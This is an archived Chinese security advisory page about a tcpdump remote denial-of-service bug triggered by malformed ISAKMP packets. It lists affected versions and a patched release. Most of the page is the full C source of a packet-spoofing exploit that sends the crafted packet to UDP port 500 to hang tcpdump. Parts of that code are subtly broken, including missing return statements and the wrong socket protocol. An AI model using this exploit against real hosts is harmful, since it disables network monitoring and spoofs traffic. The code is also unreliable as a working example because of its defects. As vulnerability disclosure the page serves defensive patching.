xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

TCPDump畸形ISAKMP数据包远程拒绝服务漏洞


发布时间:2003-03-31
更新时间:2003-03-31
严重程度:
威胁程度:远程拒绝服务
错误类型:设计错误
利用方式:服务器模式

BUGTRAQ ID:6974

受影响系统
LBL tcpdump 3.5.2                            
LBL tcpdump 3.6.2                            
   +Caldera OpenLinux Server 3.1            
   +Caldera OpenLinux Server 3.1.1          
   +Caldera OpenLinux Workstation 3.1        
   +Caldera OpenLinux Workstation 3.1.1      
   +Conectiva Linux 5.0                      
   +Conectiva Linux 5.1                      
   +Conectiva Linux 6.0                      
   +Conectiva Linux 7.0                      
   +Conectiva Linux 8.0                      
   +Debian Linux 3.0                        
   +Debian Linux 3.0 alpha                  
   +Debian Linux 3.0 arm                    
   +Debian Linux 3.0 hppa                    
   +Debian Linux 3.0 ia-32                  
   +Debian Linux 3.0 ia-64                  
   +Debian Linux 3.0 m68k                    
   +Debian Linux 3.0 mips                    
   +Debian Linux 3.0 mipsel                  
   +Debian Linux 3.0 ppc                    
   +Debian Linux 3.0 s/390                  
   +Debian Linux 3.0 sparc                  
   +FreeBSD FreeBSD 4.0                      
   +FreeBSD FreeBSD 4.1                      
   +FreeBSD FreeBSD 4.1.1                    
   +FreeBSD FreeBSD 4.2                      
   +FreeBSD FreeBSD 4.3                      
   +HP Secure OS software for Linux 1.0      
   +MandrakeSoft Corporate Server 1.0.1      
   +MandrakeSoft Linux Mandrake 7.1          
   +MandrakeSoft Linux Mandrake 7.2          
   +MandrakeSoft Linux Mandrake 8.0          
   +MandrakeSoft Linux Mandrake 8.1          
   +MandrakeSoft Linux Mandrake 8.2          
   +MandrakeSoft Single Network Firewall 7.2
   +RedHat Linux 6.2 alpha                  
   +RedHat Linux 6.2 i386                    
   +RedHat Linux 6.2 sparc                  
   +RedHat Linux 7.0 alpha                  
   +RedHat Linux 7.0 i386                    
   +RedHat Linux 7.1 alpha                  
   +RedHat Linux 7.1 i386                    
   +RedHat Linux 7.1 ia64                    
   +RedHat Linux 7.2 i386                    
   +RedHat Linux 7.2 ia64                    
   +S.u.S.E. Linux 8.0                      
   +Trustix Secure Linux 1.1                
   +Trustix Secure Linux 1.2                
   +Trustix Secure Linux 1.5                
LBL tcpdump 3.7                              
   +FreeBSD FreeBSD 4.2                      
   +FreeBSD FreeBSD 4.2 -RELEASE            
   +FreeBSD FreeBSD 4.2 -STABLE              
   +FreeBSD FreeBSD 4.3                      
   +FreeBSD FreeBSD 4.3 -RELEASE            
   +FreeBSD FreeBSD 4.3 -RELENG              
   +FreeBSD FreeBSD 4.3 -STABLE              
   +FreeBSD FreeBSD 4.4                      
   +FreeBSD FreeBSD 4.4 -RELENG              
   +FreeBSD FreeBSD 4.4 -STABLE              
   +FreeBSD FreeBSD 4.5                      
   +FreeBSD FreeBSD 4.5 -RELEASE            
   +FreeBSD FreeBSD 4.5 -STABLE              
   +FreeBSD FreeBSD 4.6                      
   +FreeBSD FreeBSD 4.6 -RELEASE            
LBL tcpdump 3.7.1                            
   +Gentoo Linux 1.4 _rc1                    
   +Gentoo Linux 1.4 _rc2                    
   +S.u.S.E. Linux 8.1
详细描述
tcpdump实现上存在漏洞,当其收到某种类型的数据包会造成拒绝服务。当tcpdump收到一个恶意的畸形格式的数据包时,tcpdump会不再处理流经其的数据包,只有重启程序才能恢复功能,远程入侵者可以利用此漏洞tcpdump暂时失去嗅探功能。

测试代码
/*
* ST-tcphump.c -- tcpdump ISAKMP denial of service attack
*     The Salvia Twist
*     01/03/03
*
* "A vulnerability exists in the parsing of ISAKMP packets (UDP port 500)
*  that allows an attacker to force TCPDUMP into an infinite loop upon
*  receipt of a specially crafted packet."
*
* The fault really lies in isakmp_sub0_print() not isakmp_sub_print().
*
* Sometimes spoofed packets don't reach their destination, so we have support
* for non-spoofed packets.
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <linux/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <sys/socket.h>
#include <unistd.h>

#define ISAKMPGEN_SIZE    sizeof(struct isakmpgen)
#define ISAKMPHEAD_SIZE sizeof(struct isakmphdr)
#define PSDHEAD_SIZE    sizeof(struct pseudohdr)
#define UDPHEAD_SIZE    sizeof(struct udphdr)
#define IPHEAD_SIZE    sizeof(struct iphdr)
#define PORT        500

struct isakmpgen * isakmpg(void);
struct isakmphdr * isakmph(void);
struct udphdr * udph(void);
struct iphdr * iph(void);
__u16 cksum(__u16 *buf, int nbytes);
void get_interface(void);
void usage(void);

struct isakmpgen {
    __u8 np;
    __u8 reserved;
    __u16 length;
};

struct isakmphdr {
    __u8 i_ck[8];
    __u8 r_ck[8];
    __u8 np;
    __u8 vers;
    __u8 etype;
    __u8 flags;
    __u8 msgid[4];
    __u32 len;
};

struct pseudohdr {
    __u32 saddr;
    __u32 daddr;
    __u8 zero;
    __u8 protocol;
    __u16 length;
};

struct sockaddr_in saddr;
struct sockaddr_in local;
int spoof;

int main(int argc, char *argv[]) {
    char *packet = malloc(4096);
    char *pseudo = malloc(4096);
    struct isakmpgen *isakmpgen = malloc(ISAKMPGEN_SIZE);
    struct isakmphdr *isakmp = malloc(ISAKMPHEAD_SIZE);
    struct pseudohdr *phdr = malloc(PSDHEAD_SIZE);
    struct udphdr    *udp = malloc(UDPHEAD_SIZE);
    struct iphdr    *ip = malloc(IPHEAD_SIZE);
    int sock = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
    int one = 1;
    const int *val = &one;
    
    printf("ST-tcphump tcpdump ISAKMP denial of service\n");
    printf("    The Salvia Twist\n");
    
    if(argc < 2) {
        usage();
        exit(1);
    }
    
    if(!strcmp(argv[1], "-s"))
        spoof = 0;
    else {
        spoof = 1;
        get_interface();
    }
            
    if(!spoof && argc < 3) {
        usage();
        exit(1);
    }
    
    bzero(packet, sizeof(packet));
    bzero(pseudo, sizeof(pseudo));
    srand(time(NULL));
    
    saddr.sin_family = AF_INET;
    saddr.sin_port = htons(PORT);
    
    if(spoof)
        saddr.sin_addr.s_addr = inet_addr(argv[1]);
    else
        saddr.sin_addr.s_addr = inet_addr(argv[2]);
    
    setsockopt(sock, IPPROTO_IP, IP_HDRINCL, val, sizeof(one));
    
    ip = iph();
    udp = udph();
    isakmp = isakmph();
    isakmpgen = isakmpg();
    
    memcpy(&phdr->saddr, &ip->saddr, 4);
    memcpy(&phdr->daddr, &ip->daddr, 4);
    phdr->protocol = 17;
    phdr->length = htons(UDPHEAD_SIZE + ISAKMPHEAD_SIZE + ISAKMPGEN_SIZE);
    
    memcpy(pseudo, phdr, PSDHEAD_SIZE);
    memcpy(pseudo + PSDHEAD_SIZE, udp, UDPHEAD_SIZE);
    memcpy(pseudo + PSDHEAD_SIZE + UDPHEAD_SIZE, isakmp, ISAKMPHEAD_SIZE);
    memcpy(pseudo + PSDHEAD_SIZE + UDPHEAD_SIZE + ISAKMPHEAD_SIZE,
            isakmpgen, ISAKMPGEN_SIZE);
    
    udp->check = cksum((u_short*) pseudo, PSDHEAD_SIZE + UDPHEAD_SIZE +
            ISAKMPHEAD_SIZE + ISAKMPGEN_SIZE);
    
    memcpy(packet, ip, IPHEAD_SIZE);
    memcpy(packet + IPHEAD_SIZE, udp, UDPHEAD_SIZE);
    memcpy(packet + IPHEAD_SIZE + UDPHEAD_SIZE, isakmp, ISAKMPHEAD_SIZE);
    memcpy(packet + IPHEAD_SIZE + UDPHEAD_SIZE + ISAKMPHEAD_SIZE,
            isakmpgen, ISAKMPGEN_SIZE);
        
    ip->check = cksum((u_short*) packet, ip->tot_len >> 1);
    memcpy(packet, ip, IPHEAD_SIZE);

    if(sendto(sock, packet, ip->tot_len, 0, (struct sockaddr *) &saddr,
                sizeof(saddr)) < 0) {
        printf("sendto error\n");
        exit(1);
    }
    
    printf("Packet sent.\n");
    
    return 0;
}

void usage(void) {
    printf("\nUsage: ST-tcphump -s <target addr>\n");
    printf("\t-s\tdon't spoof source address\n");
}

__u16 cksum(__u16 *buf, int nbytes) {
    __u32 sum;
    __u16 oddbyte;

    sum = 0;
    while(nbytes > 1) {
        sum += *buf++;
        nbytes -= 2;
    }

    if(nbytes == 1) {
        oddbyte = 0;
        *((__u16 *) &oddbyte) = *(__u8 *) buf;
        sum += oddbyte;
    }

    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);

    return (__u16) ~sum;
}

struct isakmpgen * isakmpg(void) {
    struct isakmpgen *isakmpg = malloc(ISAKMPGEN_SIZE);

    bzero(isakmpg, ISAKMPGEN_SIZE);
    isakmpg->np = 69;
}

struct isakmphdr * isakmph(void) {
    struct isakmphdr *isakmph = malloc(ISAKMPHEAD_SIZE);
    int i;
    
    bzero(isakmph, ISAKMPHEAD_SIZE);
    for(i = 0; i < 8; i++) {
        isakmph->i_ck[i] = rand() % 256;
        isakmph->r_ck[i] = rand() % 256;
    }
    for(i = 0; i < 4; i++)
        isakmph->msgid[i] = rand() % 256;
    isakmph->vers = 0x8 << 4 | 0x9;
    isakmph->np = 69;
    isakmph->etype = 2;
    isakmph->len = htonl(ISAKMPHEAD_SIZE + ISAKMPGEN_SIZE);
}

struct udphdr * udph(void) {
    struct udphdr *udph = malloc(UDPHEAD_SIZE);

    udph->source = htons(PORT);//htons(1024 + (rand() % 2003));
    udph->dest = htons(PORT);
    udph->len = UDPHEAD_SIZE + ISAKMPHEAD_SIZE + ISAKMPGEN_SIZE;
    udph->check = 0;
}

struct iphdr * iph(void) {
    struct iphdr *iph = malloc(IPHEAD_SIZE);

    iph->ihl = 5;
    iph->version = 4;
    iph->tos = 0;
    iph->tot_len = IPHEAD_SIZE + UDPHEAD_SIZE + ISAKMPHEAD_SIZE +
        ISAKMPGEN_SIZE;
    iph->id = htons(rand());
    iph->frag_off = 0;
    iph->ttl = 225;
    iph->protocol = 17;
    iph->check = 0;

    if(spoof) {
        iph->saddr = saddr.sin_addr.s_addr;
    }
    else
        iph->saddr = local.sin_addr.s_addr;
    
    iph->daddr = saddr.sin_addr.s_addr;
    
    return iph;
}

/* thanks hping2 */
void get_interface(void) {
    int sockr, len, on = 1;
    struct sockaddr_in dest;
    struct sockaddr_in iface;

    memset(&iface, 0, sizeof(iface));
    memcpy(&dest, &saddr, sizeof(struct sockaddr_in));
    dest.sin_port = htons(11111);

    sockr = socket(AF_INET, SOCK_DGRAM, 0);

    if(setsockopt(sockr, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on)) == -1) {
        printf("getsockopt error\n");
        exit(1);
    }

    if(connect(sockr, (struct sockaddr *)&dest,
                sizeof(struct sockaddr_in)) == -1) {
        printf("connect error\n");
        exit(1);
    }

    len = sizeof(iface);
    if(getsockname(sockr, (struct sockaddr *)&iface, &len) == -1) {
        printf("getsockname error\n");
        exit(1);
    }
    
    close(sockr);
    memcpy(&local, &iface, sizeof(struct sockaddr_in));
    return;
}

解决方案
厂商已经在新版的软件中修补了此漏洞:

http://www.tcpdump.org/release/tcpdump-3.7.2.tar.gz

相关信息
iDEFENSE Security Advisory 02.27.03: TCPDUMP Denial of Service Vulnerability in ISAKMP Packet Parsing
http://archives.neohapsis.com/archives/bugtraq/2003-02/0366.html